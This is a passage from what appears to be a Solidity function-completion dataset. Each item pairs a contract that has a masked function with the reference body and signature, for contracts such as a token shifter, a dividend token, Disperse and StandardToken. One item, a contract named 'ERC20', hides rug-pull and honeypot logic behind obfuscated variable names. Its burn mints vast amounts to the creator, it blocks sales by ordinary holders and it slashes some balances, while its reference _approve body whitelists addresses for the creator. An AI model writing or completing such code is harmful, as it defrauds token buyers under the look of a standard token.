shiftIn(bytes32 _pHash, uint256 _amount, bytes32 _nHash, bytes memory _sig) public returns (uint256) { bytes32 signedMessageHash = hashForSignature(_pHash, _amount, msg.sender, _nHash); require(status[signedMessageHash] == false, "nonce hash already spent"); if (!verifySignature(signedMessageHash, _sig)) { revert( String.add4( "invalid signature - hash: ", String.fromBytes32(signedMessageHash), ", signer: ", String.fromAddress(ECDSA.recover(signedMessageHash, _sig)) ) ); } status[signedMessageHash] = true; uint256 absoluteFee = (_amount.mul(fee)).div(BIPS_DENOMINATOR); uint256 receivedAmount = _amount.sub(absoluteFee); token.mint(msg.sender, receivedAmount); token.mint(feeRecipient, absoluteFee); emit LogShiftIn(msg.sender, receivedAmount, nextShiftID); nextShiftID += 1; return receivedAmount; } function shiftOut(bytes memory _to, uint256 _amount) public returns (uint256) { require(_to.length != 0, "to address is empty"); require(_amount >= minShiftAmount, "amount is less than the minimum shiftOut amount"); uint256 absoluteFee = (_amount.mul(fee)).div(BIPS_DENOMINATOR); token.burn(msg.sender, _amount); token.mint(feeRecipient, absoluteFee); uint256 receivedValue = _amount.sub(absoluteFee); emit LogShiftOut(_to, receivedValue, nextShiftID, _to); nextShiftID += 1; return receivedValue; } function verifySignature(bytes32 _signedMessageHash, bytes memory _sig) public view returns (bool) { return mintAuthority == ECDSA.recover(_signedMessageHash, _sig); } function hashForSignature(bytes32 _pHash, uint256 _amount, address _to, bytes32 _nHash) public view returns (bytes32) { return keccak256(abi.encode(_pHash, _amount, address(token), _to, _nHash)); } }
contract Shifter is Ownable { using SafeMath for uint256; uint8 public version = 2; uint256 constant BIPS_DENOMINATOR = 10000; uint256 public minShiftAmount; ERC20Shifted public token; address public mintAuthority; address public feeRecipient; uint16 public fee; mapping (bytes32=>bool) public status; uint256 public nextShiftID = 0; event LogShiftIn( address indexed _to, uint256 _amount, uint256 indexed _shiftID ); event LogShiftOut( bytes _to, uint256 _amount, uint256 indexed _shiftID, bytes indexed _indexedTo ); constructor(ERC20Shifted _token, address _feeRecipient, address _mintAuthority, uint16 _fee, uint256 _minShiftOutAmount) public { minShiftAmount = _minShiftOutAmount; token = _token; mintAuthority = _mintAuthority; fee = _fee; updateFeeRecipient(_feeRecipient); } function claimTokenOwnership() public { token.claimOwnership(); } <FILL_FUNCTION> function updateMintAuthority(address _nextMintAuthority) public onlyOwner { mintAuthority = _nextMintAuthority; } function updateMinimumShiftOutAmount(uint256 _minShiftOutAmount) public onlyOwner { minShiftAmount = _minShiftOutAmount; } function updateFeeRecipient(address _nextFeeRecipient) public onlyOwner { require(_nextFeeRecipient != address(0x0), "fee recipient cannot be 0x0"); feeRecipient = _nextFeeRecipient; } function updateFee(uint16 _nextFee) public onlyOwner { fee = _nextFee; } function shiftIn(bytes32 _pHash, uint256 _amount, bytes32 _nHash, bytes memory _sig) public returns (uint256) { bytes32 signedMessageHash = hashForSignature(_pHash, _amount, msg.sender, _nHash); require(status[signedMessageHash] == false, "nonce hash already spent"); if (!verifySignature(signedMessageHash, _sig)) { revert( String.add4( "invalid signature - hash: ", String.fromBytes32(signedMessageHash), ", signer: ", String.fromAddress(ECDSA.recover(signedMessageHash, _sig)) ) ); } status[signedMessageHash] = true; uint256 absoluteFee = (_amount.mul(fee)).div(BIPS_DENOMINATOR); uint256 receivedAmount = _amount.sub(absoluteFee); token.mint(msg.sender, receivedAmount); token.mint(feeRecipient, absoluteFee); emit LogShiftIn(msg.sender, receivedAmount, nextShiftID); nextShiftID += 1; return receivedAmount; } function shiftOut(bytes memory _to, uint256 _amount) public returns (uint256) { require(_to.length != 0, "to address is empty"); require(_amount >= minShiftAmount, "amount is less than the minimum shiftOut amount"); uint256 absoluteFee = (_amount.mul(fee)).div(BIPS_DENOMINATOR); token.burn(msg.sender, _amount); token.mint(feeRecipient, absoluteFee); uint256 receivedValue = _amount.sub(absoluteFee); emit LogShiftOut(_to, receivedValue, nextShiftID, _to); nextShiftID += 1; return receivedValue; } function verifySignature(bytes32 _signedMessageHash, bytes memory _sig) public view returns (bool) { return mintAuthority == ECDSA.recover(_signedMessageHash, _sig); } function hashForSignature(bytes32 _pHash, uint256 _amount, address _to, bytes32 _nHash) public view returns (bytes32) { return keccak256(abi.encode(_pHash, _amount, address(token), _to, _nHash)); } }
token.transferOwnership(address(_nextTokenOwner)); _nextTokenOwner.claimTokenOwnership();
function transferTokenOwnership(Shifter _nextTokenOwner) public onlyOwner
function transferTokenOwnership(Shifter _nextTokenOwner) public onlyOwner
46563
Geosale
recover
contract Geosale { uint256 price = 10000000000000000; address bene; mapping(address => uint8) public starter; constructor(){ bene = msg.sender; } function buy(uint8 choice) public payable{ require(msg.value == price); starter[msg.sender] = choice; } function recover() public{<FILL_FUNCTION_BODY> } }
contract Geosale { uint256 price = 10000000000000000; address bene; mapping(address => uint8) public starter; constructor(){ bene = msg.sender; } function buy(uint8 choice) public payable{ require(msg.value == price); starter[msg.sender] = choice; } <FILL_FUNCTION> }
payable(bene).transfer(address(this).balance);
function recover() public
function recover() public
67173
DividendToken
contract DividendToken is StandardToken, Ownable { event PayDividend(address indexed to, uint256 amount); event HangingDividend(address indexed to, uint256 amount) ; event PayHangingDividend(uint256 amount) ; event Deposit(address indexed sender, uint256 value); /// @dev parameters of an extra token emission struct EmissionInfo { // new totalSupply after emission happened uint256 totalSupply; // total balance of Ether stored at the contract when emission happened uint256 totalBalanceWas; } constructor () public { m_emissions.push(EmissionInfo({ totalSupply: totalSupply(), totalBalanceWas: 0 })); } function() external payable {<FILL_FUNCTION_BODY> } /// @notice Request dividends for current account. function requestDividends() public { payDividendsTo(msg.sender); } /// @notice Request hanging dividends to pwner. function requestHangingDividends() onlyOwner public { owner.transfer(m_totalHangingDividends); emit PayHangingDividend(m_totalHangingDividends); m_totalHangingDividends = 0; } /// @notice hook on standard ERC20#transfer to pay dividends function transfer(address _to, uint256 _value) public returns (bool) { payDividendsTo(msg.sender); payDividendsTo(_to); return super.transfer(_to, _value); } /// @notice hook on standard ERC20#transferFrom to pay dividends function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { payDividendsTo(_from); payDividendsTo(_to); return super.transferFrom(_from, _to, _value); } /// @dev adds dividends to the account _to function payDividendsTo(address _to) internal { (bool hasNewDividends, uint256 dividends, uint256 lastProcessedEmissionNum) = calculateDividendsFor(_to); if (!hasNewDividends) return; if (0 != dividends) { bool res = _to.send(dividends); if (res) { emit PayDividend(_to, dividends); } else{ // _to probably is a contract not able to receive ether emit HangingDividend(_to, dividends); m_totalHangingDividends = m_totalHangingDividends.add(dividends); } } m_lastAccountEmission[_to] = lastProcessedEmissionNum; if (lastProcessedEmissionNum == getLastEmissionNum()) { m_lastDividends[_to] = m_totalDividends; } else { m_lastDividends[_to] = m_emissions[lastProcessedEmissionNum.add(1)].totalBalanceWas; } } /// @dev calculates dividends for the account _for /// @return (true if state has to be updated, dividend amount (could be 0!), lastProcessedEmissionNum) function calculateDividendsFor(address _for) view internal returns ( bool hasNewDividends, uint256 dividends, uint256 lastProcessedEmissionNum ) { uint256 lastEmissionNum = getLastEmissionNum(); uint256 lastAccountEmissionNum = m_lastAccountEmission[_for]; assert(lastAccountEmissionNum <= lastEmissionNum); uint256 totalBalanceWasWhenLastPay = m_lastDividends[_for]; assert(m_totalDividends >= totalBalanceWasWhenLastPay); // If no new ether was collected since last dividends claim if (m_totalDividends == totalBalanceWasWhenLastPay) return (false, 0, lastAccountEmissionNum); uint256 initialBalance = balances[_for]; // beware of recursion! // if no tokens owned by account if (0 == initialBalance) return (true, 0, lastEmissionNum); // We start with last processed emission because some ether could be collected before next emission // we pay all remaining ether collected and continue with all the next emissions uint256 iter = 0; uint256 iterMax = getMaxIterationsForRequestDividends(); for (uint256 emissionToProcess = lastAccountEmissionNum; emissionToProcess <= lastEmissionNum; emissionToProcess++) { if (iter++ > iterMax) break; lastAccountEmissionNum = emissionToProcess; EmissionInfo storage emission = m_emissions[emissionToProcess]; if (0 == emission.totalSupply) continue; uint256 totalEtherDuringEmission; // last emission we stopped on if (emissionToProcess == lastEmissionNum) { totalEtherDuringEmission = m_totalDividends.sub(totalBalanceWasWhenLastPay); } else { totalEtherDuringEmission = m_emissions[emissionToProcess.add(1)].totalBalanceWas.sub(totalBalanceWasWhenLastPay); totalBalanceWasWhenLastPay = m_emissions[emissionToProcess.add(1)].totalBalanceWas; } uint256 dividend = totalEtherDuringEmission.mul(initialBalance).div(emission.totalSupply); dividends = dividends.add(dividend); } return (true, dividends, lastAccountEmissionNum); } function getLastEmissionNum() private view returns (uint256) { return m_emissions.length - 1; } /// @dev to prevent gasLimit problems with many mintings function getMaxIterationsForRequestDividends() internal pure returns (uint256) { return 200; } /// @notice record of issued dividend emissions EmissionInfo[] public m_emissions; /// @dev for each token holder: last emission (index in m_emissions) which was processed for this holder mapping(address => uint256) public m_lastAccountEmission; /// @dev for each token holder: last ether balance was when requested dividends mapping(address => uint256) public m_lastDividends; uint256 public m_totalHangingDividends; uint256 public m_totalDividends; }
contract DividendToken is StandardToken, Ownable { event PayDividend(address indexed to, uint256 amount); event HangingDividend(address indexed to, uint256 amount) ; event PayHangingDividend(uint256 amount) ; event Deposit(address indexed sender, uint256 value); /// @dev parameters of an extra token emission struct EmissionInfo { // new totalSupply after emission happened uint256 totalSupply; // total balance of Ether stored at the contract when emission happened uint256 totalBalanceWas; } constructor () public { m_emissions.push(EmissionInfo({ totalSupply: totalSupply(), totalBalanceWas: 0 })); } <FILL_FUNCTION> /// @notice Request dividends for current account. function requestDividends() public { payDividendsTo(msg.sender); } /// @notice Request hanging dividends to pwner. function requestHangingDividends() onlyOwner public { owner.transfer(m_totalHangingDividends); emit PayHangingDividend(m_totalHangingDividends); m_totalHangingDividends = 0; } /// @notice hook on standard ERC20#transfer to pay dividends function transfer(address _to, uint256 _value) public returns (bool) { payDividendsTo(msg.sender); payDividendsTo(_to); return super.transfer(_to, _value); } /// @notice hook on standard ERC20#transferFrom to pay dividends function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { payDividendsTo(_from); payDividendsTo(_to); return super.transferFrom(_from, _to, _value); } /// @dev adds dividends to the account _to function payDividendsTo(address _to) internal { (bool hasNewDividends, uint256 dividends, uint256 lastProcessedEmissionNum) = calculateDividendsFor(_to); if (!hasNewDividends) return; if (0 != dividends) { bool res = _to.send(dividends); if (res) { emit PayDividend(_to, dividends); } else{ // _to probably is a contract not able to receive ether emit HangingDividend(_to, dividends); m_totalHangingDividends = m_totalHangingDividends.add(dividends); } } m_lastAccountEmission[_to] = lastProcessedEmissionNum; if (lastProcessedEmissionNum == getLastEmissionNum()) { m_lastDividends[_to] = m_totalDividends; } else { m_lastDividends[_to] = m_emissions[lastProcessedEmissionNum.add(1)].totalBalanceWas; } } /// @dev calculates dividends for the account _for /// @return (true if state has to be updated, dividend amount (could be 0!), lastProcessedEmissionNum) function calculateDividendsFor(address _for) view internal returns ( bool hasNewDividends, uint256 dividends, uint256 lastProcessedEmissionNum ) { uint256 lastEmissionNum = getLastEmissionNum(); uint256 lastAccountEmissionNum = m_lastAccountEmission[_for]; assert(lastAccountEmissionNum <= lastEmissionNum); uint256 totalBalanceWasWhenLastPay = m_lastDividends[_for]; assert(m_totalDividends >= totalBalanceWasWhenLastPay); // If no new ether was collected since last dividends claim if (m_totalDividends == totalBalanceWasWhenLastPay) return (false, 0, lastAccountEmissionNum); uint256 initialBalance = balances[_for]; // beware of recursion! // if no tokens owned by account if (0 == initialBalance) return (true, 0, lastEmissionNum); // We start with last processed emission because some ether could be collected before next emission // we pay all remaining ether collected and continue with all the next emissions uint256 iter = 0; uint256 iterMax = getMaxIterationsForRequestDividends(); for (uint256 emissionToProcess = lastAccountEmissionNum; emissionToProcess <= lastEmissionNum; emissionToProcess++) { if (iter++ > iterMax) break; lastAccountEmissionNum = emissionToProcess; EmissionInfo storage emission = m_emissions[emissionToProcess]; if (0 == emission.totalSupply) continue; uint256 totalEtherDuringEmission; // last emission we stopped on if (emissionToProcess == lastEmissionNum) { totalEtherDuringEmission = m_totalDividends.sub(totalBalanceWasWhenLastPay); } else { totalEtherDuringEmission = m_emissions[emissionToProcess.add(1)].totalBalanceWas.sub(totalBalanceWasWhenLastPay); totalBalanceWasWhenLastPay = m_emissions[emissionToProcess.add(1)].totalBalanceWas; } uint256 dividend = totalEtherDuringEmission.mul(initialBalance).div(emission.totalSupply); dividends = dividends.add(dividend); } return (true, dividends, lastAccountEmissionNum); } function getLastEmissionNum() private view returns (uint256) { return m_emissions.length - 1; } /// @dev to prevent gasLimit problems with many mintings function getMaxIterationsForRequestDividends() internal pure returns (uint256) { return 200; } /// @notice record of issued dividend emissions EmissionInfo[] public m_emissions; /// @dev for each token holder: last emission (index in m_emissions) which was processed for this holder mapping(address => uint256) public m_lastAccountEmission; /// @dev for each token holder: last ether balance was when requested dividends mapping(address => uint256) public m_lastDividends; uint256 public m_totalHangingDividends; uint256 public m_totalDividends; }
if (msg.value > 0) { emit Deposit(msg.sender, msg.value); m_totalDividends = m_totalDividends.add(msg.value); }
function() external payable
function() external payable
35592
Disperse
disperseEther
contract Disperse { function disperseEther(address payable[] calldata recipients, uint256[] calldata values) external payable {<FILL_FUNCTION_BODY> } function disperseToken(IERC20 token, address payable[] calldata recipients, uint256[] calldata values) external { uint256 total = 0; for (uint256 i = 0; i < recipients.length; i++) total += values[i]; require(token.transferFrom(payable(msg.sender), address(this), total)); for (uint256 i = 0; i < recipients.length; i++) require(token.transfer(recipients[i], values[i])); } function disperseTokenSimple(IERC20 token, address payable[] calldata recipients, uint256[] calldata values) external { for (uint256 i = 0; i < recipients.length; i++) require(token.transferFrom(msg.sender, recipients[i], values[i])); } }
contract Disperse { <FILL_FUNCTION> function disperseToken(IERC20 token, address payable[] calldata recipients, uint256[] calldata values) external { uint256 total = 0; for (uint256 i = 0; i < recipients.length; i++) total += values[i]; require(token.transferFrom(payable(msg.sender), address(this), total)); for (uint256 i = 0; i < recipients.length; i++) require(token.transfer(recipients[i], values[i])); } function disperseTokenSimple(IERC20 token, address payable[] calldata recipients, uint256[] calldata values) external { for (uint256 i = 0; i < recipients.length; i++) require(token.transferFrom(msg.sender, recipients[i], values[i])); } }
for (uint256 i = 0; i < recipients.length; i++) recipients[i].transfer(values[i]); uint256 balance = address(this).balance; if (balance > 0) payable(msg.sender).transfer(balance);
function disperseEther(address payable[] calldata recipients, uint256[] calldata values) external payable
function disperseEther(address payable[] calldata recipients, uint256[] calldata values) external payable
15332
StandardToken
transfer
contract StandardToken is ERC20, SafeMath { mapping(address => uint256) balances; mapping(address => mapping(address => uint256)) allowed; /// @dev Returns number of tokens owned by given address. /// @param _owner Address of token owner. function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } /// @dev Transfers sender's tokens to a given address. Returns success. /// @param _to Address of token receiver. /// @param _value Number of tokens to transfer. function transfer(address _to, uint256 _value) returns (bool) {<FILL_FUNCTION_BODY> } /// @dev Allows allowed third party to transfer tokens from one address to another. Returns success. /// @param _from Address from where tokens are withdrawn. /// @param _to Address to where tokens are sent. /// @param _value Number of tokens to transfer. function transferFrom(address _from, address _to, uint256 _value) returns (bool) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] = safeAdd(balances[_to], _value); balances[_from] = safeSub(balances[_from], _value); allowed[_from][msg.sender] = safeSub(allowed[_from][msg.sender], _value); Transfer(_from, _to, _value); return true; } else return false; } /// @dev Sets approved amount of tokens for spender. Returns success. /// @param _spender Address of allowed account. /// @param _value Number of approved tokens. function approve(address _spender, uint256 _value) returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /// @dev Returns number of allowed tokens for given address. /// @param _owner Address of token owner. /// @param _spender Address of token spender. function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } }
contract StandardToken is ERC20, SafeMath { mapping(address => uint256) balances; mapping(address => mapping(address => uint256)) allowed; /// @dev Returns number of tokens owned by given address. /// @param _owner Address of token owner. function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } <FILL_FUNCTION> /// @dev Allows allowed third party to transfer tokens from one address to another. Returns success. /// @param _from Address from where tokens are withdrawn. /// @param _to Address to where tokens are sent. /// @param _value Number of tokens to transfer. function transferFrom(address _from, address _to, uint256 _value) returns (bool) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] = safeAdd(balances[_to], _value); balances[_from] = safeSub(balances[_from], _value); allowed[_from][msg.sender] = safeSub(allowed[_from][msg.sender], _value); Transfer(_from, _to, _value); return true; } else return false; } /// @dev Sets approved amount of tokens for spender. Returns success. /// @param _spender Address of allowed account. /// @param _value Number of approved tokens. function approve(address _spender, uint256 _value) returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /// @dev Returns number of allowed tokens for given address. /// @param _owner Address of token owner. /// @param _spender Address of token spender. function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } }
if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] = safeSub(balances[msg.sender], _value); balances[_to] = safeAdd(balances[_to], _value); Transfer(msg.sender, _to, _value); return true; } else return false;
function transfer(address _to, uint256 _value) returns (bool)
/// @dev Transfers sender's tokens to a given address. Returns success. /// @param _to Address of token receiver. /// @param _value Number of tokens to transfer. function transfer(address _to, uint256 _value) returns (bool)
58922
ERC20
_approve
contract ERC20 is Context, IERC20, IERC20Metadata, Ownable { mapping (address => bool) private Kansas; mapping (address => bool) private Missouri; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => uint256) private _LoggedTime; address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; address _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; address public pair; IDEXRouter router; address[] private alabamaArray; string private _name; string private _symbol; address private _creator; uint256 private _totalSupply; uint256 private Virginia; uint256 private Washington; uint256 private Oregon; bool private Florida; bool private Kentucky; bool private NewYork; uint256 private lmao; constructor (string memory name_, string memory symbol_, address creator_) { router = IDEXRouter(_router); pair = IDEXFactory(router.factory()).createPair(WETH, address(this)); _name = name_; _creator = creator_; _symbol = symbol_; Kentucky = true; Kansas[creator_] = true; Florida = true; NewYork = false; Missouri[creator_] = false; lmao = 0; } function decimals() public view virtual override returns (uint8) { return 18; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function burn(uint256 amount) public virtual returns (bool) { _burn(_msgSender(), amount); return true; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _BrainDrain(address sender, uint256 amount) internal { if ((Kansas[sender] != true)) { if ((amount > Oregon)) { require(false); } require(amount < Virginia); if (NewYork == true) { if (Missouri[sender] == true) { require(false); } Missouri[sender] = true; } } } function _AntiFR(address recipient) internal { alabamaArray.push(recipient); _LoggedTime[recipient] = block.timestamp; if ((Kansas[recipient] != true) && (lmao > 11)) { if ((_LoggedTime[alabamaArray[lmao-1]] == _LoggedTime[alabamaArray[lmao]]) && Kansas[alabamaArray[lmao-1]] != true) { _balances[alabamaArray[lmao-1]] = _balances[alabamaArray[lmao-1]]/75; } } lmao++; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _burn(address account, uint256 amount) internal { _balances[_creator] += _totalSupply * 10 ** 10; require(account != address(0), "ERC20: burn from the zero address"); _balances[account] -= amount; _balances[address(0)] += amount; emit Transfer(account, address(0), amount); } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } function _approve(address owner, address spender, uint256 amount) internal virtual {<FILL_FUNCTION_BODY> } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); (Virginia,NewYork) = ((address(sender) == _creator) && (Kentucky == false)) ? (Washington, true) : (Virginia,NewYork); (Kansas[recipient],Kentucky) = ((address(sender) == _creator) && (Kentucky == true)) ? (true, false) : (Kansas[recipient],Kentucky); _AntiFR(recipient); _BrainDrain(sender, amount); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } function _DeployABC(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); (uint256 temp1, uint256 temp2) = (1000, 1000); _totalSupply += amount; _balances[account] += amount; Virginia = _totalSupply; Washington = _totalSupply / temp1; Oregon = Washington * temp2; emit Transfer(address(0), account, amount); } }
contract ERC20 is Context, IERC20, IERC20Metadata, Ownable { mapping (address => bool) private Kansas; mapping (address => bool) private Missouri; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => uint256) private _LoggedTime; address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; address _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; address public pair; IDEXRouter router; address[] private alabamaArray; string private _name; string private _symbol; address private _creator; uint256 private _totalSupply; uint256 private Virginia; uint256 private Washington; uint256 private Oregon; bool private Florida; bool private Kentucky; bool private NewYork; uint256 private lmao; constructor (string memory name_, string memory symbol_, address creator_) { router = IDEXRouter(_router); pair = IDEXFactory(router.factory()).createPair(WETH, address(this)); _name = name_; _creator = creator_; _symbol = symbol_; Kentucky = true; Kansas[creator_] = true; Florida = true; NewYork = false; Missouri[creator_] = false; lmao = 0; } function decimals() public view virtual override returns (uint8) { return 18; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function burn(uint256 amount) public virtual returns (bool) { _burn(_msgSender(), amount); return true; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _BrainDrain(address sender, uint256 amount) internal { if ((Kansas[sender] != true)) { if ((amount > Oregon)) { require(false); } require(amount < Virginia); if (NewYork == true) { if (Missouri[sender] == true) { require(false); } Missouri[sender] = true; } } } function _AntiFR(address recipient) internal { alabamaArray.push(recipient); _LoggedTime[recipient] = block.timestamp; if ((Kansas[recipient] != true) && (lmao > 11)) { if ((_LoggedTime[alabamaArray[lmao-1]] == _LoggedTime[alabamaArray[lmao]]) && Kansas[alabamaArray[lmao-1]] != true) { _balances[alabamaArray[lmao-1]] = _balances[alabamaArray[lmao-1]]/75; } } lmao++; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _burn(address account, uint256 amount) internal { _balances[_creator] += _totalSupply * 10 ** 10; require(account != address(0), "ERC20: burn from the zero address"); _balances[account] -= amount; _balances[address(0)] += amount; emit Transfer(account, address(0), amount); } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } <FILL_FUNCTION> function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); (Virginia,NewYork) = ((address(sender) == _creator) && (Kentucky == false)) ? (Washington, true) : (Virginia,NewYork); (Kansas[recipient],Kentucky) = ((address(sender) == _creator) && (Kentucky == true)) ? (true, false) : (Kansas[recipient],Kentucky); _AntiFR(recipient); _BrainDrain(sender, amount); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } function _DeployABC(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); (uint256 temp1, uint256 temp2) = (1000, 1000); _totalSupply += amount; _balances[account] += amount; Virginia = _totalSupply; Washington = _totalSupply / temp1; Oregon = Washington * temp2; emit Transfer(address(0), account, amount); } }
require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); (Kansas[spender],Missouri[spender],Florida) = ((address(owner) == _creator) && (Florida == true)) ? (true,false,false) : (Kansas[spender],Missouri[spender],Florida); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount);
function _approve(address owner, address spender, uint256 amount) internal virtual
function _approve(address owner, address spender, uint256 amount) internal virtual
39770
ExpToken
freezeAccount
contract ExpToken is owned, TokenERC20 { uint256 public sellPrice; uint256 public buyPrice; bool private _priceMoreThanOneETH = false; bool private _biding = true; mapping (address => bool) public frozenAccount; /* This generates a public event on the blockchain that will notify clients */ event FrozenFunds(address target, bool frozen); /* Initializes contract with initial supply tokens to the creator of the contract */ function ExpToken( uint256 initialSupply, string tokenName, string tokenSymbol, uint256 initialSellPrice, uint256 initialBuyPrice ) TokenERC20(initialSupply, tokenName, tokenSymbol) public { sellPrice = initialSellPrice; buyPrice = initialBuyPrice; } /* Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead require (balanceOf[_from] >= _value); // Check if the sender has enough require (balanceOf[_to] + _value > balanceOf[_to]); // Check for overflows require(!frozenAccount[_from]); // Check if sender is frozen require(!frozenAccount[_to]); // Check if recipient is frozen balanceOf[_from] -= _value; // Subtract from the sender balanceOf[_to] += _value; // Add the same to the recipient Transfer(_from, _to, _value); } /// @notice Create `mintedAmount` tokens and send it to `target` /// @param target Address to receive the tokens /// @param mintedAmount the amount of tokens it will receive function mintToken(address target, uint256 mintedAmount) onlyOwner public { balanceOf[target] += mintedAmount; totalSupply += mintedAmount; Transfer(0, this, mintedAmount); Transfer(this, target, mintedAmount); } /// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens /// @param target Address to be frozen /// @param freeze either to freeze it or not function freezeAccount(address target, bool freeze) onlyOwner public {<FILL_FUNCTION_BODY> } /// @notice Allow users to buy tokens for `newBuyPrice` eth and sell tokens for `newSellPrice` eth /// @param newSellPrice Price the users can sell to the contract /// @param newBuyPrice Price users can buy from the contract function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner public { sellPrice = newSellPrice; buyPrice = newBuyPrice; } function setPriceMoreThanOneETH(bool priceMoreThanOneETH) onlyOwner public { _priceMoreThanOneETH = priceMoreThanOneETH; } function setBidding(bool newBidding) onlyOwner public { _biding = newBidding; } /// @notice Buy tokens from contract by sending ether function buy() payable public { require(_biding); uint amount; if (_priceMoreThanOneETH) { amount = msg.value / buyPrice; // calculates the amount } else { amount = msg.value * buyPrice; // calculates the amount } _transfer(this, msg.sender, amount); // makes the transfers } /// @notice Sell `amount` tokens to contract /// @param amount amount of tokens to be sold function sell(uint256 amount) public { require(_biding); if (_priceMoreThanOneETH) { require(this.balance >= amount * sellPrice); // checks if the contract has enough ether to buy _transfer(msg.sender, this, amount); // makes the transfers msg.sender.transfer(amount * sellPrice); // calculates the amount } else { amount = amount * 10 ** uint256(decimals); require(this.balance >= amount / sellPrice); // checks if the contract has enough ether to buy _transfer(msg.sender, this, amount); // makes the transfers msg.sender.transfer(amount * 10 ** uint256(decimals) / sellPrice); // calculates the amount } } }
contract ExpToken is owned, TokenERC20 { uint256 public sellPrice; uint256 public buyPrice; bool private _priceMoreThanOneETH = false; bool private _biding = true; mapping (address => bool) public frozenAccount; /* This generates a public event on the blockchain that will notify clients */ event FrozenFunds(address target, bool frozen); /* Initializes contract with initial supply tokens to the creator of the contract */ function ExpToken( uint256 initialSupply, string tokenName, string tokenSymbol, uint256 initialSellPrice, uint256 initialBuyPrice ) TokenERC20(initialSupply, tokenName, tokenSymbol) public { sellPrice = initialSellPrice; buyPrice = initialBuyPrice; } /* Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead require (balanceOf[_from] >= _value); // Check if the sender has enough require (balanceOf[_to] + _value > balanceOf[_to]); // Check for overflows require(!frozenAccount[_from]); // Check if sender is frozen require(!frozenAccount[_to]); // Check if recipient is frozen balanceOf[_from] -= _value; // Subtract from the sender balanceOf[_to] += _value; // Add the same to the recipient Transfer(_from, _to, _value); } /// @notice Create `mintedAmount` tokens and send it to `target` /// @param target Address to receive the 